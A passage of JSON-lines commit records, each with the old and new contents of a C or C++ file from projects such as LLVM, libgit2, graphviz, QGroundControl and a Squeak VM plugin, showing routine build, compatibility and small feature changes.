{"commit":"46c067da604293804aa900f784a0a419ed82b1e2","old_file":"IA32ABI\/xabicc.c","new_file":"IA32ABI\/xabicc.c","old_contents":"","new_contents":"\/*\n *  xabicc.c - platform-agnostic root for ALien call-outs and callbacks.\n *\n * Support for Call-outs and Call-backs from the IA32ABI Plugin.\n * The plgin is misnamed.  It should be the AlienPlugin, but its history\n * dictates otherwise.\n *\/\n#if i386|i486|i586|i686\n# include \"ia32abicc.c\"\n#elif powerpc|ppc\n# include \"ppcia32abicc.c\"\n#elif x86_64|x64\n# include \"x64ia32abicc.o\"\n#endif\n","subject":"Add a processor-agnostic file to include the relevant processor-specific callout and callback support for the ALien plugin.","message":"Add a processor-agnostic file to include the relevant processor-specific callout\nand callback support for the ALien plugin.\n\n\ngit-svn-id: http:\/\/squeakvm.org\/svn\/squeak\/trunk@3227 fa1542d4-bde8-0310-ad64-8ed1123d492a\n\nFormer-commit-id: de732c745d80769e5a3541e07042f7ba8c112911","lang":"C","license":"mit","repos":"peteruhnak\/pharo-vm,bencoman\/pharo-vm,OpenSmalltalk\/vm,bencoman\/pharo-vm,peteruhnak\/pharo-vm,timfel\/squeakvm,timfel\/squeakvm,bencoman\/pharo-vm,bencoman\/pharo-vm,peteruhnak\/pharo-vm,peteruhnak\/pharo-vm,OpenSmalltalk\/vm,peteruhnak\/pharo-vm,OpenSmalltalk\/vm,bencoman\/pharo-vm,OpenSmalltalk\/vm,bencoman\/pharo-vm,OpenSmalltalk\/vm,timfel\/squeakvm,timfel\/squeakvm,peteruhnak\/pharo-vm,bencoman\/pharo-vm,OpenSmalltalk\/vm,OpenSmalltalk\/vm,OpenSmalltalk\/vm,timfel\/squeakvm,peteruhnak\/pharo-vm,timfel\/squeakvm,bencoman\/pharo-vm,timfel\/squeakvm,bencoman\/pharo-vm,peteruhnak\/pharo-vm,timfel\/squeakvm"}
{"commit":"e98d0be00b0694bb4480cbc1e2aac77cd1b57cd5","old_file":"source\/common\/hal\/version.h","new_file":"source\/common\/hal\/version.h","old_contents":"\/* CMSIS-DAP Interface Firmware\n * Copyright (c) 2009-2013 ARM Limited\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n#ifndef VERSION_H\n#define VERSION_H\n\n#include \"stdint.h\"\n\n\/\/ built for bootloader 1xxx\n\/\/#define FW_BUILD \"1203\"\n\/\/ build for bootloader 0xxx\n#define FW_BUILD \"0226\"\n\nvoid update_html_file(uint8_t *buf, uint32_t bufsize);\nuint8_t * get_uid_string          (void);\nuint8_t   get_len_string_interface(void);\nuint8_t * get_uid_string_interface(void);\nvoid      init_auth_config        (void);\nvoid build_mac_string(uint32_t *uuid_data);\n\n#endif\n","new_contents":"\/* CMSIS-DAP Interface Firmware\n * Copyright (c) 2009-2013 ARM Limited\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n#ifndef VERSION_H\n#define VERSION_H\n\n#include \"stdint.h\"\n\n\/\/ built for bootloader 1xxx\n\/\/#define FW_BUILD \"1203\"\n\/\/ build for bootloader 0xxx\n#define FW_BUILD \"0227\"\n\nvoid update_html_file(uint8_t *buf, uint32_t bufsize);\nuint8_t * get_uid_string          (void);\nuint8_t   get_len_string_interface(void);\nuint8_t * get_uid_string_interface(void);\nvoid      init_auth_config        (void);\nvoid build_mac_string(uint32_t *uuid_data);\n\n#endif\n","subject":"Increment FW_BUILD. Initial release for kl26z_nrf51822_if with CDC support","message":"Increment FW_BUILD. Initial release for kl26z_nrf51822_if with CDC support\n","lang":"C","license":"apache-2.0","repos":"sg-\/DAPLink,google\/DAPLink-port,google\/DAPLink-port,sg-\/DAPLink,google\/DAPLink-port,sg-\/DAPLink,google\/DAPLink-port"}
{"commit":"74f48a2f6d0f3589415963b1be8f75e5b6da7525","old_file":"src\/configuration.h","new_file":"src\/configuration.h","old_contents":"#ifndef QGC_CONFIGURATION_H\n#define QGC_CONFIGURATION_H\n\n#include <QString>\n\n\/** @brief Polling interval in ms *\/\n#define SERIAL_POLL_INTERVAL 9\n\n\/** @brief Heartbeat emission rate, in Hertz (times per second) *\/\n#define MAVLINK_HEARTBEAT_DEFAULT_RATE 1\n#define WITH_TEXT_TO_SPEECH 1\n\n#define QGC_APPLICATION_NAME \"QGroundControl\"\n#define QGC_APPLICATION_VERSION \"v. 2.0.1 (beta)\"\n\nnamespace QGC\n\n{\nconst QString APPNAME = \"QGROUNDCONTROL\";\nconst QString ORG_NAME = \"QGROUNDCONTROL.ORG\"; \/\/can be customized by forks to e.g. mycompany.com to maintain separate Settings for customized apps\nconst QString ORG_DOMAIN = \"org.qgroundcontrol\";\/\/can be customized by forks\nconst int APPLICATIONVERSION = 201; \/\/ 2.0.1\n}\n\n#endif \/\/ QGC_CONFIGURATION_H\n","new_contents":"#ifndef QGC_CONFIGURATION_H\n#define QGC_CONFIGURATION_H\n\n#include <QString>\n\n\/** @brief Polling interval in ms *\/\n#define SERIAL_POLL_INTERVAL 5\n\n\/** @brief Heartbeat emission rate, in Hertz (times per second) *\/\n#define MAVLINK_HEARTBEAT_DEFAULT_RATE 1\n#define WITH_TEXT_TO_SPEECH 1\n\n#define QGC_APPLICATION_NAME \"QGroundControl\"\n#define QGC_APPLICATION_VERSION \"v. 2.0.1 (beta)\"\n\nnamespace QGC\n\n{\nconst QString APPNAME = \"QGROUNDCONTROL\";\nconst QString ORG_NAME = \"QGROUNDCONTROL.ORG\"; \/\/can be customized by forks to e.g. mycompany.com to maintain separate Settings for customized apps\nconst QString ORG_DOMAIN = \"org.qgroundcontrol\";\/\/can be customized by forks\nconst int APPLICATIONVERSION = 201; \/\/ 2.0.1\n}\n\n#endif \/\/ QGC_CONFIGURATION_H\n","subject":"Read UART faster to prevent buffer overflows","message":"Read UART faster to prevent buffer overflows\n","lang":"C","license":"agpl-3.0","repos":"josephlewis42\/UDenverQGC2,greenoaktree\/qgroundcontrol,catch-twenty-two\/qgroundcontrol,remspoor\/qgroundcontrol,RedoXyde\/PX4_qGCS,fizzaly\/qgroundcontrol,iidioter\/qgroundcontrol,Hunter522\/qgroundcontrol,Hunter522\/qgroundcontrol,cfelipesouza\/qgroundcontrol,jy723\/qgroundcontrol,CornerOfSkyline\/qgroundcontrol,RedoXyde\/PX4_qGCS,dagoodma\/qgroundcontrol,RedoXyde\/PX4_qGCS,hejunbok\/qgroundcontrol,iidioter\/qgroundcontrol,lis-epfl\/qgroundcontrol,devbharat\/qgroundcontrol,fizzaly\/qgroundcontrol,iidioter\/qgroundcontrol,RedoXyde\/PX4_qGCS,nado1688\/qgroundcontrol,scott-eddy\/qgroundcontrol,kd0aij\/qgroundcontrol,TheIronBorn\/qgroundcontrol,BMP-TECH\/qgroundcontrol,scott-eddy\/qgroundcontrol,iidioter\/qgroundcontrol,scott-eddy\/qgroundcontrol,kd0aij\/qgroundcontrol,CornerOfSkyline\/qgroundcontrol,LIKAIMO\/qgroundcontrol,lis-epfl\/qgroundcontrol,kd0aij\/qgroundcontrol,jy723\/qgroundcontrol,catch-twenty-two\/qgroundcontrol,nado1688\/qgroundcontrol,lis-epfl\/qgroundcontrol,BMP-TECH\/qgroundcontrol,devbharat\/qgroundcontrol,lis-epfl\/qgroundcontrol,RedoXyde\/PX4_qGCS,kd0aij\/qgroundcontrol,greenoaktree\/qgroundcontrol,fizzaly\/qgroundcontrol,TheIronBorn\/qgroundcontrol,remspoor\/qgroundcontrol,cfelipesouza\/qgroundcontrol,dagoodma\/qgroundcontrol,caoxiongkun\/qgroundcontrol,greenoaktree\/qgroundcontrol,CornerOfSkyline\/qgroundcontrol,RedoXyde\/PX4_qGCS,hejunbok\/qgroundcontrol,jy723\/qgroundcontrol,fizzaly\/qgroundcontrol,devbharat\/qgroundcontrol,scott-eddy\/qgroundcontrol,Hunter522\/qgroundcontrol,UAVenture\/qgroundcontrol,mihadyuk\/qgroundcontrol,BMP-TECH\/qgroundcontrol,cfelipesouza\/qgroundcontrol,BMP-TECH\/qgroundcontrol,caoxiongkun\/qgroundcontrol,UAVenture\/qgroundcontrol,BMP-TECH\/qgroundcontrol,scott-eddy\/qgroundcontrol,mihadyuk\/qgroundcontrol,iidioter\/qgroundcontrol,UAVenture\/qgroundcontrol,caoxiongkun\/qgroundcontrol,nado1688\/qgroundcontrol,nado1688\/qgroundcontrol,UAVenture\/qgroundcontrol,cfelipesouza\/qgroundcontrol,greenoaktree\/qgroundcontrol,ethz-asl\/qgc_asl,ethz-asl\/qgc_asl,Hunter522\/qgroundcontrol,CornerOfSkyline\/qgroundcontrol,UAVenture\/qgroundcontrol,mihadyuk\/qgroundcontrol,scott-eddy\/qgroundcontrol,CornerOfSkyline\/qgroundcontrol,hejunbok\/qgroundcontrol,catch-twenty-two\/qgroundcontrol,cfelipesouza\/qgroundcontrol,LIKAIMO\/qgroundcontrol,jy723\/qgroundcontrol,caoxiongkun\/qgroundcontrol,devbharat\/qgroundcontrol,dagoodma\/qgroundcontrol,kd0aij\/qgroundcontrol,catch-twenty-two\/qgroundcontrol,TheIronBorn\/qgroundcontrol,dagoodma\/qgroundcontrol,iidioter\/qgroundcontrol,dagoodma\/qgroundcontrol,remspoor\/qgroundcontrol,hejunbok\/qgroundcontrol,mihadyuk\/qgroundcontrol,ethz-asl\/qgc_asl,LIKAIMO\/qgroundcontrol,TheIronBorn\/qgroundcontrol,remspoor\/qgroundcontrol,fizzaly\/qgroundcontrol,cfelipesouza\/qgroundcontrol,UAVenture\/qgroundcontrol,dagoodma\/qgroundcontrol,nado1688\/qgroundcontrol,greenoaktree\/qgroundcontrol,devbharat\/qgroundcontrol,LIKAIMO\/qgroundcontrol,ethz-asl\/qgc_asl,mihadyuk\/qgroundcontrol,jy723\/qgroundcontrol,jy723\/qgroundcontrol,remspoor\/qgroundcontrol,josephlewis42\/UDenverQGC2,nado1688\/qgroundcontrol,devbharat\/qgroundcontrol,mihadyuk\/qgroundcontrol,caoxiongkun\/qgroundcontrol,greenoaktree\/qgroundcontrol,catch-twenty-two\/qgroundcontrol,lis-epfl\/qgroundcontrol,caoxiongkun\/qgroundcontrol,LIKAIMO\/qgroundcontrol,kd0aij\/qgroundcontrol,josephlewis42\/UDenverQGC2,catch-twenty-two\/qgroundcontrol,Hunter522\/qgroundcontrol,LIKAIMO\/qgroundcontrol,CornerOfSkyline\/qgroundcontrol,josephlewis42\/UDenverQGC2,BMP-TECH\/qgroundcontrol,Hunter522\/qgroundcontrol,fizzaly\/qgroundcontrol,TheIronBorn\/qgroundcontrol,remspoor\/qgroundcontrol,hejunbok\/qgroundcontrol,TheIronBorn\/qgroundcontrol,ethz-asl\/qgc_asl,hejunbok\/qgroundcontrol"}
{"commit":"55ca2704359dbd97169eeed03e258f9005d7336d","old_file":"helloworld.c","new_file":"helloworld.c","old_contents":"#include <stdio.h>\n\nint main()\n{\n  \/* hi this is a multi-line comment\n     hi.\n  *\/\n\n  \/\/ single-line comment\n  printf (\"Hello world!\\n\");  \/\/ this works too\n\n  \/\/ some vars and control flow\n  int numDaysInYear = 365;\n  printf (\"days per year: %d\\n\", numDaysInYear);\n\n  if (numDaysInYear == 366) {\n    printf (\"Seems reasonable\\n\");\n  }\n  else {\n    int long someReallyLongNumber = 100000000000000L;\n    printf (\"Some long number: %ld\\n\", someReallyLongNumber);\n  }\n\n  \/\/ loops\n  int i;\n  for (i=0; i<5; i++) {\n    printf (\"i=%d\\n\", i);\n  }\n\n}\n","new_contents":"#include <stdio.h>\n\nint main()\n{\n  \/* hi this is a multi-line comment\n     hi.\n  *\/\n\n  \/\/ single-line comment\n  printf (\"Hello world!\\n\");  \/\/ this works too\n\n  \/\/ some vars and control flow\n  int numDaysInYear = 365;\n  printf (\"days per year: %d\\n\", numDaysInYear);\n\n  if (numDaysInYear == 366) {\n    printf (\"Seems reasonable\\n\");\n  }\n  else {\n    int long someReallyLongNumber = 100000000000000L;\n    printf (\"Some long number: %ld\\n\", someReallyLongNumber);\n  }\n\n  \/\/ loops\n  int i;\n  for (i=0; i<5; i++) {\n    printf (\"i=%d\\n\", i);\n  }\n\n  \/\/ https:\/\/www.seas.gwu.edu\/~simhaweb\/C\/lectures\/module2\/module2\n  int x = 5;\n\n  int *intPtr;\n\n  \/\/ print mem address of variable i\n  printf (\"Variable x is located at memory address %lu\\n\", &x);\n\n  \/\/ extract address of var i into the pointer\n  intPtr = & x;\n  printf (\"The int at memory location %lu is %d\\n\", intPtr, *intPtr);\n\n  \/\/ TODO: examine compiler warnings\n\n}\n","subject":"Add c pointer basic example","message":"Add c pointer basic example\n","lang":"C","license":"mit","repos":"oldhill\/halloween,oldhill\/halloween,oldhill\/halloween,oldhill\/halloween"}
{"commit":"a0d5875d501e07e7b55ea71f413951e8ec2318aa","old_file":"plugin\/xlib\/gvplugin_xlib.c","new_file":"plugin\/xlib\/gvplugin_xlib.c","old_contents":"\/* $Id$ $Revision$ *\/\n\/* vim:set shiftwidth=4 ts=8: *\/\n\n\/**********************************************************\n*      This software is part of the graphviz package      *\n*                http:\/\/www.graphviz.org\/                 *\n*                                                         *\n*            Copyright (c) 1994-2004 AT&T Corp.           *\n*                and is licensed under the                *\n*            Common Public License, Version 1.0           *\n*                      by AT&T Corp.                      *\n*                                                         *\n*        Information and Software Systems Research        *\n*              AT&T Research, Florham Park NJ             *\n**********************************************************\/\n\n#include \"gvplugin.h\"\n\nextern gvplugin_installed_t gvdevice_types_xlib;\n\nstatic gvplugin_api_t apis[] = {\n    {API_device, &gvdevice_types_xlib},\n    {(api_t)0, 0},\n};\n\ngvplugin_library_t gvplugin_xlib_LTX_library = { \"xlib\", apis };\n","new_contents":"\/* $Id$ $Revision$ *\/\n\/* vim:set shiftwidth=4 ts=8: *\/\n\n\/**********************************************************\n*      This software is part of the graphviz package      *\n*                http:\/\/www.graphviz.org\/                 *\n*                                                         *\n*            Copyright (c) 1994-2004 AT&T Corp.           *\n*                and is licensed under the                *\n*            Common Public License, Version 1.0           *\n*                      by AT&T Corp.                      *\n*                                                         *\n*        Information and Software Systems Research        *\n*              AT&T Research, Florham Park NJ             *\n**********************************************************\/\n\n#include \"gvplugin.h\"\n\nextern gvplugin_installed_t gvdevice_types_xlib[];\n\nstatic gvplugin_api_t apis[] = {\n    {API_device, gvdevice_types_xlib},\n    {(api_t)0, 0},\n};\n\ngvplugin_library_t gvplugin_xlib_LTX_library = { \"xlib\", apis };\n","subject":"Apply patch for C standards compliance: \"All declarations that refer to the same object or function shall have compatible type; otherwise, the behavior is undefined.\" (That's from ISO\/IEC 9899:TC2 final committee draft, section 6.2.7.)","message":"Apply patch for C standards compliance:\n\t\"All declarations that\n\trefer to the same object or function shall have compatible type;\n\totherwise, the behavior is undefined.\"  (That's from ISO\/IEC 9899:TC2\n\tfinal committee draft, section 6.2.7.)\n\n\tThis doesn't trigger issues with most C implementations, but there\n\tis one implementation in development (GCC LTO branch) which does\n\tflag this issue.\n\nPatch from:\tChris Demetriou <cgd@google.com>\n","lang":"C","license":"epl-1.0","repos":"MjAbuz\/graphviz,jho1965us\/graphviz,tkelman\/graphviz,tkelman\/graphviz,jho1965us\/graphviz,tkelman\/graphviz,BMJHayward\/graphviz,ellson\/graphviz,tkelman\/graphviz,pixelglow\/graphviz,jho1965us\/graphviz,ellson\/graphviz,jho1965us\/graphviz,pixelglow\/graphviz,pixelglow\/graphviz,pixelglow\/graphviz,ellson\/graphviz,ellson\/graphviz,kbrock\/graphviz,MjAbuz\/graphviz,kbrock\/graphviz,BMJHayward\/graphviz,tkelman\/graphviz,jho1965us\/graphviz,BMJHayward\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,BMJHayward\/graphviz,BMJHayward\/graphviz,tkelman\/graphviz,BMJHayward\/graphviz,kbrock\/graphviz,tkelman\/graphviz,kbrock\/graphviz,pixelglow\/graphviz,ellson\/graphviz,pixelglow\/graphviz,BMJHayward\/graphviz,tkelman\/graphviz,kbrock\/graphviz,MjAbuz\/graphviz,pixelglow\/graphviz,BMJHayward\/graphviz,BMJHayward\/graphviz,ellson\/graphviz,tkelman\/graphviz,ellson\/graphviz,jho1965us\/graphviz,jho1965us\/graphviz,kbrock\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,BMJHayward\/graphviz,kbrock\/graphviz,ellson\/graphviz,pixelglow\/graphviz,pixelglow\/graphviz,BMJHayward\/graphviz,jho1965us\/graphviz,jho1965us\/graphviz,MjAbuz\/graphviz,MjAbuz\/graphviz,jho1965us\/graphviz,pixelglow\/graphviz,MjAbuz\/graphviz,kbrock\/graphviz,MjAbuz\/graphviz,pixelglow\/graphviz,kbrock\/graphviz,ellson\/graphviz,MjAbuz\/graphviz,ellson\/graphviz,MjAbuz\/graphviz,kbrock\/graphviz,ellson\/graphviz,jho1965us\/graphviz,kbrock\/graphviz"}
{"commit":"0519bdcd3d19063cd3640cabc9f25f6f11cbffb2","old_file":"include\/llvm\/Intrinsics.h","new_file":"include\/llvm\/Intrinsics.h","old_contents":"\/\/===-- llvm\/Instrinsics.h - LLVM Intrinsic Function Handling ---*- C++ -*-===\/\/\n\/\/\n\/\/ This file defines a set of enums which allow processing of intrinsic\n\/\/ functions.  Values of these enum types are returned by\n\/\/ Function::getIntrinsicID.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_INTRINSICS_H\n#define LLVM_INTRINSICS_H\n\nnamespace LLVMIntrinsic {\n  enum ID {\n    not_intrinsic = 0,   \/\/ Must be zero\n\n    va_start,            \/\/ Used to represent a va_start call in C\n    va_end,              \/\/ Used to represent a va_end call in C\n    va_copy,             \/\/ Used to represent a va_copy call in C\n\n    setjmp,              \/\/ Used to represent a setjmp call in C\n    longjmp,             \/\/ Used to represent a longjmp call in C\n  };\n}\n\n#endif\n","new_contents":"\/\/===-- llvm\/Instrinsics.h - LLVM Intrinsic Function Handling ---*- C++ -*-===\/\/\n\/\/\n\/\/ This file defines a set of enums which allow processing of intrinsic\n\/\/ functions.  Values of these enum types are returned by\n\/\/ Function::getIntrinsicID.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_INTRINSICS_H\n#define LLVM_INTRINSICS_H\n\n\/\/\/ LLVMIntrinsic Namespace - This namespace contains an enum with a value for\n\/\/\/ every intrinsic\/builtin function known by LLVM.  These enum values are\n\/\/\/ returned by Function::getIntrinsicID().\n\/\/\/\nnamespace LLVMIntrinsic {\n  enum ID {\n    not_intrinsic = 0,   \/\/ Must be zero\n\n    va_start,            \/\/ Used to represent a va_start call in C\n    va_end,              \/\/ Used to represent a va_end call in C\n    va_copy,             \/\/ Used to represent a va_copy call in C\n\n    setjmp,              \/\/ Used to represent a setjmp call in C\n    longjmp,             \/\/ Used to represent a longjmp call in C\n  };\n}\n\n#endif\n","subject":"Add comment for doxygen for namespace","message":"Add comment for doxygen for namespace\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@6578 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"chubbymaggie\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,apple\/swift-llvm,dslab-epfl\/asap,dslab-epfl\/asap,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,chubbymaggie\/asap,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm"}
{"commit":"329ff94d0a13fecb39abf68b7649dd3a397ee38d","old_file":"src\/engine\/utils\/include\/halley\/data_structures\/maybe_ref.h","new_file":"src\/engine\/utils\/include\/halley\/data_structures\/maybe_ref.h","old_contents":"#pragma once\n\n#include <gsl\/gsl>\n\nnamespace Halley {\n    \/\/ Note: it's important that this class has the same layout and binary structure as a plain pointer\n    template <typename T>\n    class MaybeRef {\n    public:\n        MaybeRef() : pointer(nullptr) {}\n        MaybeRef(T* pointer) : pointer(pointer) {}\n        MaybeRef(T& ref) : pointer(&ref) {}\n\n        bool hasValue() const\n        {\n            return pointer != nullptr;\n        }\n\n        T& get()\n        {\n            Expects(pointer != nullptr);\n            return *pointer;\n        }\n\n        const T& get() const\n        {\n            Expects(pointer != nullptr);\n            return *pointer;\n        }\n\n    \tT* operator->()\n        {\n        \tExpects(pointer != nullptr);\n\t\t\treturn pointer;\n        }\n\n    \tconst T* operator->() const\n        {\n        \tExpects(pointer != nullptr);\n\t\t\treturn pointer;\n        }\n\n    \toperator bool() const\n        {\n            return pointer != nullptr;\n        }\n\n    private:\n        T* pointer;\n    };\n}\n","new_contents":"#pragma once\n\n#include <gsl\/gsl>\n\nnamespace Halley {\n    \/\/ Note: it's important that this class has the same layout and binary structure as a plain pointer\n    template <typename T>\n    class MaybeRef {\n    public:\n        MaybeRef() : pointer(nullptr) {}\n        MaybeRef(T* pointer) : pointer(pointer) {}\n        MaybeRef(T& ref) : pointer(&ref) {}\n\n        bool hasValue() const\n        {\n            return pointer != nullptr;\n        }\n\n        T& get()\n        {\n            Expects(pointer != nullptr);\n            return *pointer;\n        }\n\n        const T& get() const\n        {\n            Expects(pointer != nullptr);\n            return *pointer;\n        }\n\n    \tT* operator->()\n        {\n        \tExpects(pointer != nullptr);\n\t\t\treturn pointer;\n        }\n\n    \tconst T* operator->() const\n        {\n        \tExpects(pointer != nullptr);\n\t\t\treturn pointer;\n        }\n\n    \toperator bool() const\n        {\n            return pointer != nullptr;\n        }\n\n    \tT* tryGet()\n        {\n\t        return pointer;\n        }\n\n    \tconst T* tryGet() const\n        {\n\t        return pointer;\n        }\n\n    private:\n        T* pointer;\n    };\n}\n","subject":"Allow getting raw pointer from MaybeRef","message":"Allow getting raw pointer from MaybeRef\n","lang":"C","license":"apache-2.0","repos":"amzeratul\/halley,amzeratul\/halley,amzeratul\/halley"}
{"commit":"ec43f8052c9d0783b0ac8ffd7ffe9054ea8b6f5f","old_file":"test\/FrontendC\/2011-02-21-DATA-common.c","new_file":"test\/FrontendC\/2011-02-21-DATA-common.c","old_contents":"","new_contents":"\/\/ RUN: %llvmgcc -S %s -o \/dev\/null\nstruct rtxc_snapshot {\n  int a, b, c, d;\n};\n__attribute__ ((section(\"__DATA, __common\"))) static struct rtxc_snapshot rtxc_log_A[4];\n","subject":"Test case for r126127. Radar 9012638.","message":"Test case for r126127.  Radar 9012638.\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@126131 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,chubbymaggie\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,dslab-epfl\/asap,chubbymaggie\/asap,dslab-epfl\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm"}
{"commit":"04c5a9c0838a9c44b55afb427169318ec4a44ec2","old_file":"src\/win32\/mingw-compat.h","new_file":"src\/win32\/mingw-compat.h","old_contents":"\/*\n * Copyright (C) the libgit2 contributors. All rights reserved.\n *\n * This file is part of libgit2, distributed under the GNU GPL v2 with\n * a Linking Exception. For full terms see the included COPYING file.\n *\/\n#ifndef INCLUDE_mingw_compat__\n#define INCLUDE_mingw_compat__\n\n#if defined(__MINGW32__)\n\n#undef stat\n\n#if _WIN32_WINNT >= 0x0601\n#define stat __stat64\n#else\n#define stat _stati64\n#endif\n\n#endif\n\n#endif \/* INCLUDE_mingw_compat__ *\/\n","new_contents":"\/*\n * Copyright (C) the libgit2 contributors. All rights reserved.\n *\n * This file is part of libgit2, distributed under the GNU GPL v2 with\n * a Linking Exception. For full terms see the included COPYING file.\n *\/\n#ifndef INCLUDE_mingw_compat__\n#define INCLUDE_mingw_compat__\n\n#if defined(__MINGW32__)\n\n#undef stat\n\n#if _WIN32_WINNT >= 0x0601\n#define stat __stat64\n#else\n#define stat _stati64\n#endif\n\n#if _WIN32_WINNT < 0x0600 && !defined(__MINGW64_VERSION_MAJOR)\n#undef MemoryBarrier\nvoid __mingworg_MemoryBarrier(void);\n#define MemoryBarrier __mingworg_MemoryBarrier\n#define VOLUME_NAME_DOS 0x0\n#endif\n\n#endif\n\n#endif \/* INCLUDE_mingw_compat__ *\/\n","subject":"Add some missing definitions for mingw.org","message":"Add some missing definitions for mingw.org\n\nthese shouldn't be necessary if _WIN32_WINNT >= _WIN32_WINNT_VISTA\n","lang":"C","license":"lgpl-2.1","repos":"whoisj\/libgit2,chiayolin\/libgit2,falqas\/libgit2,swisspol\/DEMO-libgit2,spraints\/libgit2,rcorre\/libgit2,Tousiph\/Demo1,kenprice\/libgit2,dleehr\/libgit2,iankronquist\/libgit2,swisspol\/DEMO-libgit2,oaastest\/libgit2,stewid\/libgit2,saurabhsuniljain\/libgit2,yosefhackmon\/libgit2,stewid\/libgit2,leoyanggit\/libgit2,leoyanggit\/libgit2,since2014\/libgit2,sim0629\/libgit2,amyvmiwei\/libgit2,mcanthony\/libgit2,magnus98\/TEST,amyvmiwei\/libgit2,since2014\/libgit2,joshtriplett\/libgit2,since2014\/libgit2,saurabhsuniljain\/libgit2,sim0629\/libgit2,MrHacky\/libgit2,oaastest\/libgit2,mrksrm\/Mingijura,ardumont\/libgit2,magnus98\/TEST,JIghtuse\/libgit2,ardumont\/libgit2,jeffhostetler\/public_libgit2,kissthink\/libgit2,amyvmiwei\/libgit2,leoyanggit\/libgit2,falqas\/libgit2,amyvmiwei\/libgit2,rcorre\/libgit2,joshtriplett\/libgit2,sygool\/libgit2,jeffhostetler\/public_libgit2,dleehr\/libgit2,since2014\/libgit2,yongthecoder\/libgit2,yongthecoder\/libgit2,yongthecoder\/libgit2,spraints\/libgit2,iankronquist\/libgit2,falqas\/libgit2,mrksrm\/Mingijura,claudelee\/libgit2,saurabhsuniljain\/libgit2,Corillian\/libgit2,mingyaaaa\/libgit2,spraints\/libgit2,MrHacky\/libgit2,nokiddin\/libgit2,mingyaaaa\/libgit2,rcorre\/libgit2,JIghtuse\/libgit2,kenprice\/libgit2,MrHacky\/libgit2,mhp\/libgit2,nokiddin\/libgit2,ardumont\/libgit2,KTXSoftware\/libgit2,Tousiph\/Demo1,t0xicCode\/libgit2,falqas\/libgit2,yongthecoder\/libgit2,MrHacky\/libgit2,rcorre\/libgit2,mcanthony\/libgit2,linquize\/libgit2,rcorre\/libgit2,claudelee\/libgit2,saurabhsuniljain\/libgit2,kenprice\/libgit2,Tousiph\/Demo1,falqas\/libgit2,kenprice\/libgit2,mrksrm\/Mingijura,falqas\/libgit2,magnus98\/TEST,sim0629\/libgit2,kissthink\/libgit2,spraints\/libgit2,swisspol\/DEMO-libgit2,skabel\/manguse,mcanthony\/libgit2,Corillian\/libgit2,mhp\/libgit2,skabel\/manguse,MrHacky\/libgit2,mhp\/libgit2,magnus98\/TEST,claudelee\/libgit2,saurabhsuniljain\/libgit2,KTXSoftware\/libgit2,linquize\/libgit2,jeffhostetler\/public_libgit2,swisspol\/DEMO-libgit2,linquize\/libgit2,mingyaaaa\/libgit2,JIghtuse\/libgit2,Corillian\/libgit2,yosefhackmon\/libgit2,iankronquist\/libgit2,saurabhsuniljain\/libgit2,yosefhackmon\/libgit2,dleehr\/libgit2,yosefhackmon\/libgit2,Tousiph\/Demo1,mhp\/libgit2,magnus98\/TEST,KTXSoftware\/libgit2,ardumont\/libgit2,mrksrm\/Mingijura,leoyanggit\/libgit2,oaastest\/libgit2,skabel\/manguse,chiayolin\/libgit2,joshtriplett\/libgit2,yosefhackmon\/libgit2,jeffhostetler\/public_libgit2,iankronquist\/libgit2,yongthecoder\/libgit2,t0xicCode\/libgit2,iankronquist\/libgit2,JIghtuse\/libgit2,stewid\/libgit2,whoisj\/libgit2,spraints\/libgit2,nokiddin\/libgit2,kenprice\/libgit2,sygool\